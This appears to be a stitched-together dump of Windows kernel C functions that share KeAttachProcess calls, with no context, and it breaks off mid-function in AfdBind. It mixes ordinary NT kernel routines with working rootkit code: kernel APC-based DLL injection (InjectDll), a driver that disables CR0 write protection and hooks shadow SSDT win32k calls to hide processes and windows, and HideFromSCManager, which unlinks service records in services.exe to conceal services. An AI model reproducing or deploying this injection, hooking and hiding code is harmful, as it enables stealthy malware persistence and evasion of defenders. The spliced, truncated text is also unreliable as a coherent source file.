BOOLEAN InjectDll(PINJECT_INFO InjectInfo) { PEPROCESS Process; PETHREAD Thread; PKINJECT mem; ULONG size; PKAPC_STATE ApcState; PKAPC apc; PVOID buffer; PSYSTEM_PROCESS_INFO pSpi; LARGE_INTEGER delay; buffer=ExAllocatePool(NonPagedPool,1024*1024); if(!buffer) { DbgPrint("Error: Unable to allocate memory for the process thread list."); return FALSE; } //5 SystemProcessInformation, if(!NT_SUCCESS(ZwQuerySystemInformation(5,buffer,1024*1024,NULL))) { DbgPrint("Error: Unable to query process thread list."); ExFreePool(buffer); return FALSE; } pSpi=(PSYSTEM_PROCESS_INFO)buffer; //找到目标进程 while(pSpi->NextEntryOffset) { if(pSpi->UniqueProcessId==InjectInfo->ProcessId) { DbgPrint("Target thread found. TID: %d",pSpi->Threads[0].ClientId.UniqueThread); break; } pSpi=(PSYSTEM_PROCESS_INFO)((PUCHAR)pSpi+pSpi->NextEntryOffset); } // 引用目标进程EProcess, if(!NT_SUCCESS(PsLookupProcessByProcessId(InjectInfo->ProcessId,&Process))) { DbgPrint("Error: Unable to reference the target process."); ExFreePool(buffer); return FALSE; } DbgPrint("Process name: %s",PsGetProcessImageFileName(Process)); DbgPrint("EPROCESS address: %#x",Process); //目标进程主线程 if(!NT_SUCCESS(PsLookupThreadByThreadId(pSpi->Threads[0].ClientId.UniqueThread,&Thread))) { DbgPrint("Error: Unable to reference the target thread."); ObDereferenceObject(Process); ExFreePool(buffer); return FALSE; } DbgPrint("ETHREAD address: %#x",Thread); ExFreePool(buffer); //切入到目标进程 KeAttachProcess(Process); mem=NULL; size=4096; //在目标进程申请内存 if(!NT_SUCCESS(ZwAllocateVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,0,&size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE))) { DbgPrint("Error: Unable to allocate memory in the target process."); KeDetachProcess(); ObDereferenceObject(Process); ObDereferenceObject(Thread); return FALSE; } DbgPrint("Memory allocated at %#x",mem); mem->LdrLoadDll=LdrLoadDll; wcscpy(mem->Buffer,InjectInfo->DllName); RtlInitUnicodeString(&mem->DllName,mem->Buffer); ApcState=(PKAPC_STATE)((PUCHAR)Thread+ApcStateOffset); ApcState->UserApcPending=TRUE; memcpy((PKINJECT)(mem+1),InjectDllApc,(ULONG)KernelRoutine-(ULONG)InjectDllApc); DbgPrint("APC code address: %#x",(PKINJECT)(mem+1)); //申请apc对象 apc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); if(!apc) { DbgPrint("Error: Unable to allocate the APC object."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); KeDetachProcess(); ObDereferenceObject(Process); ObDereferenceObject(Thread); return FALSE; } KeInitializeApc(apc, Thread, //目标进程主线程 OriginalApcEnvironment, //目标apcz状态 KernelRoutine, //内核apc总入口 NULL, //Rundown Rounine=NULL (PKNORMAL_ROUTINE)((PKINJECT)mem+1), //用户空间的总apc UserMode, //插入到用户apc队列 mem); // 自己的apc队列 DbgPrint("Inserting APC to target thread"); // 插入apc队列 if(!KeInsertQueueApc(apc,NULL,NULL,IO_NO_INCREMENT)) { DbgPrint("Error: Unable to insert APC to target thread."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); KeDetachProcess(); ObDereferenceObject(Process); ObDereferenceObject(Thread); ExFreePool(apc); return FALSE; } delay.QuadPart=-100*10000; while(!mem->Executed) { KeDelayExecutionThread(KernelMode,FALSE,&delay); //等待apc执行 } if(!mem->DllBase) { DbgPrint("Error: Unable to inject DLL into target process."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); KeDetachProcess(); ObDereferenceObject(Process); ObDereferenceObject(Thread); return FALSE; } DbgPrint("DLL injected at %#x",mem->DllBase); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); ObDereferenceObject(Process); ObDereferenceObject(Thread); return TRUE; }
/***************************************************************************\ * * _GetComboBoxInfo() * * This returns combobox information for either a combo or its dropdown * list. * \***************************************************************************/ BOOL WINAPI _GetComboBoxInfo(PWND pwnd, PCOMBOBOXINFO pcbi) { PCLS pcls; COMBOBOXINFO cbi = { sizeof cbi, }; BOOL fOtherProcess; BOOL bRetval = FALSE; WORD wWindowType = 0; /* * Make sure it is a combobox or a dropdown */ pcls = pwnd->pcls; if ((GETFNID(pwnd) == FNID_COMBOBOX) || (pcls->atomClassName == gpsi->atomSysClass[ICLS_COMBOBOX])) { wWindowType = FNID_COMBOBOX; } else if ((GETFNID(pwnd) == FNID_COMBOLISTBOX) || (pcls->atomClassName == gpsi->atomSysClass[ICLS_COMBOLISTBOX])) { wWindowType = FNID_COMBOLISTBOX; } else { RIPERR1(ERROR_WINDOW_NOT_COMBOBOX, RIP_WARNING, "pwnd %#p not a combobox or dropdown", pwnd); return FALSE; } /* * Validate combo structure */ if (pcbi->cbSize != sizeof(COMBOBOXINFO)) { RIPERR1(ERROR_INVALID_PARAMETER, RIP_WARNING, "COMBOBOXINFO.cbSize %d is wrong", pcbi->cbSize); return FALSE; } if (fOtherProcess = (GETPTI(pwnd)->ppi != PpiCurrent())) { KeAttachProcess(&GETPTI(pwnd)->ppi->Process->Pcb); } try { PCBOX ccxPcboxSnap; PWND ccxPwndSnap; HWND ccxHwndSnap; /* * Snap and probe the CBOX structure, since it is client side. */ if (wWindowType == FNID_COMBOBOX) { ccxPcboxSnap = ((PCOMBOWND)pwnd)->pcbox; } else { PLBIV ccxPlbSnap; /* * If this is a listbox, we must snap and probe the LBIV structure * in order to get to the CBOX structure. */ ccxPlbSnap = ((PLBWND)pwnd)->pLBIV; if (!ccxPlbSnap) { goto errorexit; } ProbeForRead(ccxPlbSnap, sizeof(LBIV), DATAALIGN); ccxPcboxSnap = ccxPlbSnap->pcbox; } if (!ccxPcboxSnap) { goto errorexit; } ProbeForRead(ccxPcboxSnap, sizeof(CBOX), DATAALIGN); /* * Get the combo information now */ /* * Snap and probe the client side pointer to the Combo window */ ccxPwndSnap = ccxPcboxSnap->spwnd; ProbeForRead(ccxPwndSnap, sizeof(HEAD), DATAALIGN); cbi.hwndCombo = HWCCX(ccxPwndSnap); /* * Snap & probe the client side pointer to the Edit window. * To compare spwndEdit and pwnd, we should compare handles * since spwndEdit is a client-side address and pwnd is a * kernel-mode address, */ ccxPwndSnap = ccxPcboxSnap->spwndEdit; /* * If combobox is not fully initialized and spwndEdit is NULL, * we should fail. */ ProbeForRead(ccxPwndSnap, sizeof(HEAD), DATAALIGN); ccxHwndSnap = HWCCX(ccxPwndSnap); if (ccxHwndSnap == HW(pwnd)) { /* * ComboBox doesn't have Edit control. */ cbi.hwndItem = NULL; } else { cbi.hwndItem = HWCCX(ccxPwndSnap); } /* * Snap and probe the client side pointer to the List window */ ccxPwndSnap = ccxPcboxSnap->spwndList; /* * If combobox is not fully initialized and spwndList is NULL, * we should fail. */ ProbeForRead(ccxPwndSnap, sizeof(HEAD), DATAALIGN); cbi.hwndList = HWCCX(ccxPwndSnap); /* * Snap the rest of the combo information. * We don't need to probe any of these, since there are no more indirections. */ cbi.rcItem = ccxPcboxSnap->editrc; cbi.rcButton = ccxPcboxSnap->buttonrc; /* * Button state */ cbi.stateButton = 0; if (ccxPcboxSnap->CBoxStyle == CBS_SIMPLE) { cbi.stateButton |= STATE_SYSTEM_INVISIBLE; } if (ccxPcboxSnap->fButtonPressed) { cbi.stateButton |= STATE_SYSTEM_PRESSED; } } except (W32ExceptionHandler(FALSE, RIP_WARNING)) { goto errorexit; } *pcbi = cbi; bRetval = TRUE; errorexit: if (fOtherProcess) { KeDetachProcess(); } return bRetval; }
NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath) { NTSTATUS status; PDEVICE_OBJECT deviceObject; RtlInitUnicodeString( &DeviceNameString, HIDE_PROCESS_WIN32_DEV_NAME ); RtlInitUnicodeString( &LinkDeviceNameString,HIDE_PROCESS_DEV_NAME ); KdPrint(("DriverEntry Enter............................\n")); status = IoCreateDevice( DriverObject, 0, &DeviceNameString, FILE_DEVICE_DISK_FILE_SYSTEM, FILE_DEVICE_SECURE_OPEN, FALSE, & deviceObject ); if (!NT_SUCCESS( status )) { KdPrint(( "DriverEntry: Error creating control device object, status=%08x\n", status )); return status; } status = IoCreateSymbolicLink( (PUNICODE_STRING) &LinkDeviceNameString, (PUNICODE_STRING) &DeviceNameString ); if (!NT_SUCCESS(status)) { IoDeleteDevice(deviceObject); return status; } //获得shadow的地址 getShadowTable(); //根据不同的系统获得不同的函数服务号 InitCallNumber(); DriverObject->MajorFunction[IRP_MJ_CREATE] = HideProcess_Create; DriverObject->MajorFunction[IRP_MJ_CLOSE] = HideProcess_Close; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HideProcess_IoControl; DriverObject->DriverUnload=UnloadDriver; status = PsLookupProcessByProcessId((ULONG)GetCsrPid(), &crsEProc); if (!NT_SUCCESS( status )) { DbgPrint("PsLookupProcessByProcessId() error\n"); return status; } KeAttachProcess(crsEProc); __try { if ((KeServiceDescriptorTableShadow!=NULL) \ && (NtUserFindWindowEx_callnumber!=0) && (NtUserGetForegroundWindow_callnumber!=0) \ && (NtUserBuildHwndList_callnumber!=0) && (NtUserQueryWindow_callnumber!=0) \ && (NtUserWindowFromPoint_callnumber!=0)) { g_OriginalNtUserFindWindowEx = (NTUSERFINDWINDOWEX)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserFindWindowEx_callnumber]; g_OriginalNtUserQueryWindow=(NTUSERQUERYWINDOW)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserQueryWindow_callnumber]; g_OriginalNtUserBuildHwndList=(NTUSERBUILDHWNDLIST)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserBuildHwndList_callnumber]; g_OriginalNtUserGetForegroundWindow=(NTUSERGETFOREGROUNDWINDOW)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserGetForegroundWindow_callnumber]; g_OriginalNtUserWindowFromPoint = (NTUSERWINDOWFROMPOINT)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserWindowFromPoint_callnumber]; } else KeServiceDescriptorTableShadow=NULL; _asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back } if ((KeServiceDescriptorTableShadow!=NULL) && (NtUserFindWindowEx_callnumber!=0) && (NtUserGetForegroundWindow_callnumber!=0) && (NtUserBuildHwndList_callnumber!=0) && (NtUserQueryWindow_callnumber!=0)) { (NTUSERFINDWINDOWEX)(KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserFindWindowEx_callnumber]) = MyNtUserFindWindowEx; (NTUSERQUERYWINDOW)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserQueryWindow_callnumber] = MyNtUserQueryWindow; (NTUSERBUILDHWNDLIST)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserBuildHwndList_callnumber] = MyNtUserBuildHwndList; (NTUSERGETFOREGROUNDWINDOW)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserGetForegroundWindow_callnumber] = MyNtUserGetForegroundWindow; (NTUSERWINDOWFROMPOINT)KeServiceDescriptorTableShadow[1].ServiceTableBase[NtUserWindowFromPoint_callnumber] = MyNtUserWindowFromPoint; } _asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt } } __finally { KeDetachProcess(); } KdPrint(("Hook ZwQuerySystemInformation'status is Succeessfully ")); return status ; }
NTSTATUS SepRmCallLsa( PSEP_WORK_ITEM SepWorkItem ) /*++ Routine Description: This function sends a command to the LSA via the LSA Reference Monitor Server Command LPC Port. If the command has parameters, they will be copied directly into a message structure and sent via LPC, therefore, the supplied parameters may not contain any absolute pointers. A caller must remove pointers by "marshalling" them into the buffer CommandParams. This function will create a queue of requests. This is in order to allow greater throughput for the majority if its callers. If a thread enters this routine and finds the queue empty, it is the responsibility of that thread to service all requests that come in while it is working until the queue is empty again. Other threads that enter will simply hook their work item onto the queue and exit. To implement a new LSA command, do the following: ================================================ (1) If the command takes no parameters, just call this routine directly and provide an LSA worker routine called Lsap<command>Wrkr. See file lsa\server\lsarm.c for examples (2) If the command takes parameters, provide a routine called SepRmSend<command>Command that takes the parameters in unmarshalled form and calls SepRmCallLsa() with the command id, marshalled parameters, length of marshalled parameters and pointer to optional reply message. The marshalled parameters are free format: the only restriction is that there must be no absolute address pointers. These parameters are all placed in the passed LsaWorkItem structure. (3) In file private\inc\ntrmlsa.h, append a command name to the enumerated type LSA_COMMAND_NUMBER defined in file private\inc\ntrmlsa.h. Change the #define for LsapMaximumCommand to reference the new command. (4) Add the Lsap<command>Wrkr to the command dispatch table structure LsapCommandDispatch[] in file lsarm.c. (5) Add function prototypes to lsap.h and sep.h. Arguments: LsaWorkItem - Supplies a pointer to an SE_LSA_WORK_ITEM containing the information to be passed to LSA. This structure will be freed asynchronously by some invocation of this routine, not necessarily in the current context. !THIS PARAMETER MUST BE ALLOCATED OUT OF NONPAGED POOL! Return Value: NTSTATUS - Result Code. This is either a result code returned from trying to send the command/receive the reply, or a status code from the command itself. --*/ { NTSTATUS Status = STATUS_SUCCESS; LSA_COMMAND_MESSAGE CommandMessage; LSA_REPLY_MESSAGE ReplyMessage; PSEP_LSA_WORK_ITEM WorkQueueItem; ULONG LocalListLength = 0; SIZE_T RegionSize; PVOID CopiedCommandParams = NULL; PVOID LsaViewCopiedCommandParams = NULL; PAGED_CODE(); #if 0 DbgPrint("Entering SepRmCallLsa\n"); #endif WorkQueueItem = SepWorkListHead(); KeAttachProcess( &SepRmLsaCallProcess->Pcb ); while ( WorkQueueItem ) { #if 0 DbgPrint("Got a work item from head of queue, processing\n"); #endif // // Construct a message for LPC. First, fill in the message header // fields for LPC, specifying the message type and data sizes for // the outgoing CommandMessage and the incoming ReplyMessage. // CommandMessage.MessageHeader.u2.ZeroInit = 0; CommandMessage.MessageHeader.u1.s1.TotalLength = ((CSHORT) RM_COMMAND_MESSAGE_HEADER_SIZE + (CSHORT) WorkQueueItem->CommandParamsLength); CommandMessage.MessageHeader.u1.s1.DataLength = CommandMessage.MessageHeader.u1.s1.TotalLength - (CSHORT) sizeof(PORT_MESSAGE); ReplyMessage.MessageHeader.u2.ZeroInit = 0; ReplyMessage.MessageHeader.u1.s1.DataLength = (CSHORT) WorkQueueItem->ReplyBufferLength; ReplyMessage.MessageHeader.u1.s1.TotalLength = ReplyMessage.MessageHeader.u1.s1.DataLength + (CSHORT) sizeof(PORT_MESSAGE); // // Next, fill in the header info needed by the LSA. // CommandMessage.CommandNumber = WorkQueueItem->CommandNumber; ReplyMessage.ReturnedStatus = STATUS_SUCCESS; // // Set up the Command Parameters either in the LPC Command Message // itself, in the preallocated Lsa shared memory block, or in a // specially allocated block. The parameters are either // immediate (i.e. in the WorkQueueItem itself, or are in a buffer // pointed to by the address in the WorkQueueItem. // switch (WorkQueueItem->CommandParamsMemoryType) { case SepRmImmediateMemory: // // The Command Parameters are in the CommandParams buffer // in the Work Queue Item. Just copy them to the corresponding // buffer in the CommandMessage buffer. // CommandMessage.CommandParamsMemoryType = SepRmImmediateMemory; RtlCopyMemory( CommandMessage.CommandParams, &WorkQueueItem->CommandParams, WorkQueueItem->CommandParamsLength ); break; case SepRmPagedPoolMemory: case SepRmUnspecifiedMemory: // // The Command Parameters are contained in paged pool memory. // Since this memory is is not accessible by the LSA, we must // copy of them either to the LPC Command Message Block, or // into LSA shared memory. // if (WorkQueueItem->CommandParamsLength <= LSA_MAXIMUM_COMMAND_PARAM_SIZE) { // // Parameters will fit into the LPC Command Message block. // CopiedCommandParams = CommandMessage.CommandParams; RtlCopyMemory( CopiedCommandParams, WorkQueueItem->CommandParams.BaseAddress, WorkQueueItem->CommandParamsLength ); CommandMessage.CommandParamsMemoryType = SepRmImmediateMemory; } else { // // Parameters too large for LPC Command Message block. // If possible, copy them to the preallocated Lsa Shared // Memory block. If they are too large to fit, copy them // to an individually allocated chunk of Shared Virtual // Memory. // if (WorkQueueItem->CommandParamsLength <= SEP_RM_LSA_SHARED_MEMORY_SIZE) { RtlCopyMemory( SepRmState.RmViewPortMemory, WorkQueueItem->CommandParams.BaseAddress, WorkQueueItem->CommandParamsLength ); LsaViewCopiedCommandParams = SepRmState.LsaViewPortMemory; CommandMessage.CommandParamsMemoryType = SepRmLsaCommandPortSharedMemory; } else { Status = SepAdtCopyToLsaSharedMemory( SepLsaHandle, WorkQueueItem->CommandParams.BaseAddress, WorkQueueItem->CommandParamsLength, &LsaViewCopiedCommandParams ); if (!NT_SUCCESS(Status)) { // // An error occurred, most likely in allocating // shared virtual memory. For now, just ignore // the error and discard the Audit Record. Later, // we may consider generating a warning record // indicating some records lost. // break; } CommandMessage.CommandParamsMemoryType = SepRmLsaCustomSharedMemory; } // // Buffer has been successfully copied to a shared Lsa // memory buffer. Place the address of the buffer valid in // the LSA's process context in the Command Message. // *((PVOID *) CommandMessage.CommandParams) = LsaViewCopiedCommandParams; CommandMessage.MessageHeader.u1.s1.TotalLength = ((CSHORT) RM_COMMAND_MESSAGE_HEADER_SIZE + (CSHORT) sizeof( LsaViewCopiedCommandParams )); CommandMessage.MessageHeader.u1.s1.DataLength = CommandMessage.MessageHeader.u1.s1.TotalLength - (CSHORT) sizeof(PORT_MESSAGE); } // // Free input command params buffer if Paged Pool. // if (WorkQueueItem->CommandParamsMemoryType == SepRmPagedPoolMemory) { ExFreePool( WorkQueueItem->CommandParams.BaseAddress ); } break; default: Status = STATUS_INVALID_PARAMETER; break; } if (NT_SUCCESS(Status)) { // // Send Message to the LSA via the LSA Server Command LPC Port. // This must be done in the process in which the handle was created. // Status = ZwRequestWaitReplyPort( SepRmState.LsaCommandPortHandle, (PPORT_MESSAGE) &CommandMessage, (PPORT_MESSAGE) &ReplyMessage ); // // If the command was successful, copy the data back to the output // buffer. // if (NT_SUCCESS(Status)) { // // Move output from command (if any) to buffer. Note that this // is done even if the command returns status, because some status // values are not errors. // if (ARGUMENT_PRESENT(WorkQueueItem->ReplyBuffer)) { RtlCopyMemory( WorkQueueItem->ReplyBuffer, ReplyMessage.ReplyBuffer, WorkQueueItem->ReplyBufferLength ); } // // Return status from command. // Status = ReplyMessage.ReturnedStatus; if (!NT_SUCCESS(Status)) { KdPrint(("Security: Command sent from RM to LSA returned 0x%lx\n", Status)); } } else { KdPrint(("Security: Sending Command RM to LSA failed 0x%lx\n", Status)); } // // On return from the LPC call to the LSA, we expect the called // LSA worker routine to have copied the Command Parameters // buffer (if any). If a custom shared memory boffer was allocated, // free it now. // if (CommandMessage.CommandParamsMemoryType == SepRmLsaCustomSharedMemory) { RegionSize = 0; Status = ZwFreeVirtualMemory( SepLsaHandle, (PVOID *) &CommandMessage.CommandParams, &RegionSize, MEM_RELEASE ); ASSERT(NT_SUCCESS(Status)); } } // // Clean up. We must call the cleanup functions on its parameter // and then free the used WorkQueueItem itself. // if ( ARGUMENT_PRESENT( WorkQueueItem->CleanupFunction)) { (WorkQueueItem->CleanupFunction)(WorkQueueItem->CleanupParameter); } // // Determine if there is more work to do on this list // WorkQueueItem = SepDequeueWorkItem(); #if 0 if ( WorkQueueItem ) { DbgPrint("Got another item from list, going back\n"); } else { DbgPrint("List is empty, leaving\n"); } #endif } KeDetachProcess(); if ( LocalListLength > SepLsaQueueLength ) { SepLsaQueueLength = LocalListLength; } return Status; }
VOID BowserTrace( PCHAR FormatString, ... ) #define LAST_NAMED_ARGUMENT FormatString { CHAR OutputString[1024]; IO_STATUS_BLOCK IoStatus; BOOLEAN ProcessAttached = FALSE; va_list ParmPtr; // Pointer to stack parms. NTSTATUS Status; PAGED_CODE(); if (IoGetCurrentProcess() != BowserFspProcess) { KeAttachProcess(BowserFspProcess); ProcessAttached = TRUE; } if (BrowserTraceLogHandle == NULL) { if (!NT_SUCCESS(BowserOpenTraceLogFile(L"\\SystemRoot\\Bowser.Log"))) { BrowserTraceLogHandle = (HANDLE)0xffffffff; if (ProcessAttached) { KeDetachProcess(); } return; } } else if (BrowserTraceLogHandle == (HANDLE)0xffffffff) { if (ProcessAttached) { KeDetachProcess(); } return; } ExAcquireResourceExclusive(&BrowserTraceLock, TRUE); if (BrowserTraceLogHandle == NULL) { ExReleaseResource(&BrowserTraceLock); if (ProcessAttached) { KeDetachProcess(); } return; } try { LARGE_INTEGER EndOfFile; EndOfFile.HighPart = 0xffffffff; EndOfFile.LowPart = FILE_WRITE_TO_END_OF_FILE; if (LastCharacter == '\n') { LARGE_INTEGER SystemTime; TIME_FIELDS TimeFields; KeQuerySystemTime(&SystemTime); ExSystemTimeToLocalTime(&SystemTime, &SystemTime); RtlTimeToTimeFields(&SystemTime, &TimeFields); // // The last character written was a newline character. We should // timestamp this record in the file. // /**** sprintf(OutputString, "%2.2d/%2.2d/%4.4d %2.2d:%2.2d:%2.2d.%3.3d: ", TimeFields.Month, TimeFields.Day, TimeFields.Year, TimeFields.Hour, TimeFields.Minute, TimeFields.Second, TimeFields.Milliseconds); ****/ if (!NT_SUCCESS(Status = ZwWriteFile(BrowserTraceLogHandle, NULL, NULL, NULL, &IoStatus, OutputString, strlen(OutputString), &EndOfFile, NULL))) { KdPrint(("Error writing time to Browser log file: %lX\n", Status)); return; } if (!NT_SUCCESS(IoStatus.Status)) { KdPrint(("Error writing time to Browser log file: %lX\n", IoStatus.Status)); return; } if (IoStatus.Information != strlen(OutputString)) { KdPrint(("Error writing time to Browser log file: %lX\n", IoStatus.Status)); return; } } va_start(ParmPtr, LAST_NAMED_ARGUMENT); // // Format the parameters to the string. // vsprintf(OutputString, FormatString, ParmPtr); if (!NT_SUCCESS(Status = ZwWriteFile(BrowserTraceLogHandle, NULL, NULL, NULL, &IoStatus, OutputString, strlen(OutputString), &EndOfFile, NULL))) { KdPrint(("Error writing string to Browser log file: %ld\n", Status)); return; } if (!NT_SUCCESS(IoStatus.Status)) { KdPrint(("Error writing string to Browser log file: %lX\n", IoStatus.Status)); return; } if (IoStatus.Information != strlen(OutputString)) { KdPrint(("Error writing string to Browser log file: %ld\n", IoStatus.Status)); return; } // // Remember the last character output to the log. // LastCharacter = OutputString[strlen(OutputString)-1]; } finally { ExReleaseResource(&BrowserTraceLock); if (ProcessAttached) { KeDetachProcess(); } } }
NTSTATUS HideFromSCManager(WCHAR *service) { NTSTATUS status; PEPROCESS proc; PROCESS_BASIC_INFORMATION pbi; ULONG *ptr, *ptr2; PPEB peb; PIMAGE_SECTION_HEADER dsh; // data section headers PSERVICE_RECORD curr, prev=NULL, next=NULL; PVOID dsec; ULONG ServiceNameLen, ServiceToHideNameLen, dsecsize, n, i; if( NbHiddenServices >= 128 ) return STATUS_UNSUCCESSFUL; // we look for services.exe EPROCESS struct status = GetEProcessByName (L"SERVICES.EXE", &proc); if( !NT_SUCCESS(status) ) { status = GetEProcessByName (L"services.exe", &proc); if( !NT_SUCCESS(status) ) return status; } // we attach to it :) KeAttachProcess(proc); // we get infos about current process status = ZwQueryInformationProcess(NtCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), 0); if( !NT_SUCCESS(status) ) { KeDetachProcess(); return status; } peb = pbi.PebBaseAddress; // look for data section dsh = FindModuleSectionHdr(peb->ImageBaseAddress, ".data"); if( !dsh ) { KeDetachProcess(); return STATUS_UNSUCCESSFUL; } // get section size & offset dsecsize = dsh->SizeOfRawData; dsec = dsh->VirtualAddress + (PUCHAR)peb->ImageBaseAddress; /* We have now to find the beginning of the service table in the .data section. As weasel said, to identify it, we look for a null ptr followed by a valid memory address. */ if( !srecord ) { for(ptr=(PULONG)dsec, n=dsecsize>>2; n ; n--,ptr++) { if( !IsGoodPtr(ptr, 2*sizeof(ULONG)) ) continue; if ( (ptr[0] == 0UL) && // our null byte (ptr[1] != 0UL) && (ptr[1] < (ULONG)MM_HIGHEST_USER_ADDRESS) && !(ptr[1]&1)) { if( IsGoodPtr(ptr, sizeof(SERVICE_RECORD)) ) { if( !MmIsAddressValid(&((PSERVICE_RECORD)ptr[1])->sErv)) continue; // we look for the sErv tag if( ((PSERVICE_RECORD)ptr[1])->PreviousServiceRecord == (PSERVICE_RECORD)ptr && ((PSERVICE_RECORD)ptr[1])->sErv == 'vrEs' ) { srecord = (PSERVICE_RECORD)ptr; break; } } } } } if( !srecord ) { // :( KeDetachProcess(); return STATUS_UNSUCCESSFUL; } curr=srecord; ServiceToHideNameLen = wcslen(service); while( curr ) { if( curr->Lp_WideServiceName == NULL ) { curr = curr->NextServiceRecord; continue; } ServiceNameLen = wcslen( curr->Lp_WideServiceName ); if( ServiceToHideNameLen == ServiceNameLen && !memcmp(curr->Lp_WideServiceName, service, (ServiceNameLen+1)*2)) { // process to hide next = curr->NextServiceRecord; prev = curr->PreviousServiceRecord; // we hide the service, like for DKOM _asm sti if(next) next->PreviousServiceRecord = prev; if(prev) prev->NextServiceRecord = next; // note that we can't hide the first service, we don't know // how to access the list right. _asm cli // we get data usefull to restore the service later HiddenService[NbHiddenServices] = curr; NbHiddenServices++; } curr = curr->NextServiceRecord; }
NTSTATUS AfdBind ( IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp ) /*++ Routine Description: Handles the IOCTL_AFD_BIND IOCTL. Arguments: Irp - Pointer to I/O request packet. IrpSp - pointer to the IO stack location to use for this request. Return Value: NTSTATUS -- Indicates whether the request was successfully queued. --*/ { NTSTATUS status; OBJECT_ATTRIBUTES objectAttributes; IO_STATUS_BLOCK iosb; PTRANSPORT_ADDRESS transportAddress; PTRANSPORT_ADDRESS requestedAddress; ULONG requestedAddressLength; PAFD_ENDPOINT endpoint; PFILE_FULL_EA_INFORMATION ea; ULONG eaBufferLength; PAGED_CODE( ); // // Set up local pointers. // requestedAddress = Irp->AssociatedIrp.SystemBuffer; requestedAddressLength = IrpSp->Parameters.DeviceIoControl.InputBufferLength; endpoint = IrpSp->FileObject->FsContext; ASSERT( IS_AFD_ENDPOINT_TYPE( endpoint ) ); // // Bomb off if this is a helper endpoint. // if ( endpoint->Type == AfdBlockTypeHelper ) { return STATUS_INVALID_PARAMETER; } // // If the client wants a unique address, make sure that there are no // other sockets with this address. ExAcquireResourceExclusive( AfdResource, TRUE ); if ( IrpSp->Parameters.DeviceIoControl.OutputBufferLength != 0 ) { PLIST_ENTRY listEntry; // // Walk the global list of endpoints, // and compare this address againat the address on each endpoint. // for ( listEntry = AfdEndpointListHead.Flink; listEntry != &AfdEndpointListHead; listEntry = listEntry->Flink ) { PAFD_ENDPOINT compareEndpoint; compareEndpoint = CONTAINING_RECORD( listEntry, AFD_ENDPOINT, GlobalEndpointListEntry ); ASSERT( IS_AFD_ENDPOINT_TYPE( compareEndpoint ) ); // // Check whether the endpoint has a local address, whether // the endpoint has been disconnected, and whether the // endpoint is in the process of closing. If any of these // is true, don't compare addresses with this endpoint. // if ( compareEndpoint->LocalAddress != NULL && ( (compareEndpoint->DisconnectMode & (AFD_PARTIAL_DISCONNECT_SEND | AFD_ABORTIVE_DISCONNECT) ) == 0 ) && (compareEndpoint->State != AfdEndpointStateClosing) ) { // // Compare the bits in the endpoint's address and the // address we're attempting to bind to. Note that we // also compare the transport device names on the // endpoints, as it is legal to bind to the same address // on different transports (e.g. bind to same port in // TCP and UDP). We can just compare the transport // device name pointers because unique names are stored // globally. // if ( compareEndpoint->LocalAddressLength == IrpSp->Parameters.DeviceIoControl.InputBufferLength && AfdAreTransportAddressesEqual( compareEndpoint->LocalAddress, compareEndpoint->LocalAddressLength, requestedAddress, requestedAddressLength, FALSE ) && endpoint->TransportInfo == compareEndpoint->TransportInfo ) { // // The addresses are equal. Fail the request. // ExReleaseResource( AfdResource ); Irp->IoStatus.Information = 0; Irp->IoStatus.Status = STATUS_SHARING_VIOLATION; return STATUS_SHARING_VIOLATION; } } } } // // Store the address to which the endpoint is bound. // endpoint->LocalAddress = AFD_ALLOCATE_POOL( NonPagedPool, requestedAddressLength, AFD_LOCAL_ADDRESS_POOL_TAG ); if ( endpoint->LocalAddress == NULL ) { ExReleaseResource( AfdResource ); Irp->IoStatus.Information = 0; Irp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES; return STATUS_INSUFFICIENT_RESOURCES; } endpoint->LocalAddressLength = IrpSp->Parameters.DeviceIoControl.InputBufferLength; RtlMoveMemory( endpoint->LocalAddress, requestedAddress, endpoint->LocalAddressLength ); ExReleaseResource( AfdResource ); // // Allocate memory to hold the EA buffer we'll use to specify the // transport address to NtCreateFile. // eaBufferLength = sizeof(FILE_FULL_EA_INFORMATION) - 1 + TDI_TRANSPORT_ADDRESS_LENGTH + 1 + IrpSp->Parameters.DeviceIoControl.InputBufferLength; #if DBG ea = AFD_ALLOCATE_POOL( NonPagedPool, eaBufferLength, AFD_EA_POOL_TAG ); #else ea = AFD_ALLOCATE_POOL( PagedPool, eaBufferLength, AFD_EA_POOL_TAG ); #endif if ( ea == NULL ) { return STATUS_INSUFFICIENT_RESOURCES; } // // Initialize the EA. // ea->NextEntryOffset = 0; ea->Flags = 0; ea->EaNameLength = TDI_TRANSPORT_ADDRESS_LENGTH; ea->EaValueLength = (USHORT)IrpSp->Parameters.DeviceIoControl.InputBufferLength; RtlMoveMemory( ea->EaName, TdiTransportAddress, ea->EaNameLength + 1 ); transportAddress = (PTRANSPORT_ADDRESS)(&ea->EaName[ea->EaNameLength + 1]); RtlMoveMemory( transportAddress, requestedAddress, ea->EaValueLength ); // // Prepare for opening the address object. // InitializeObjectAttributes( &objectAttributes, &endpoint->TransportInfo->TransportDeviceName, 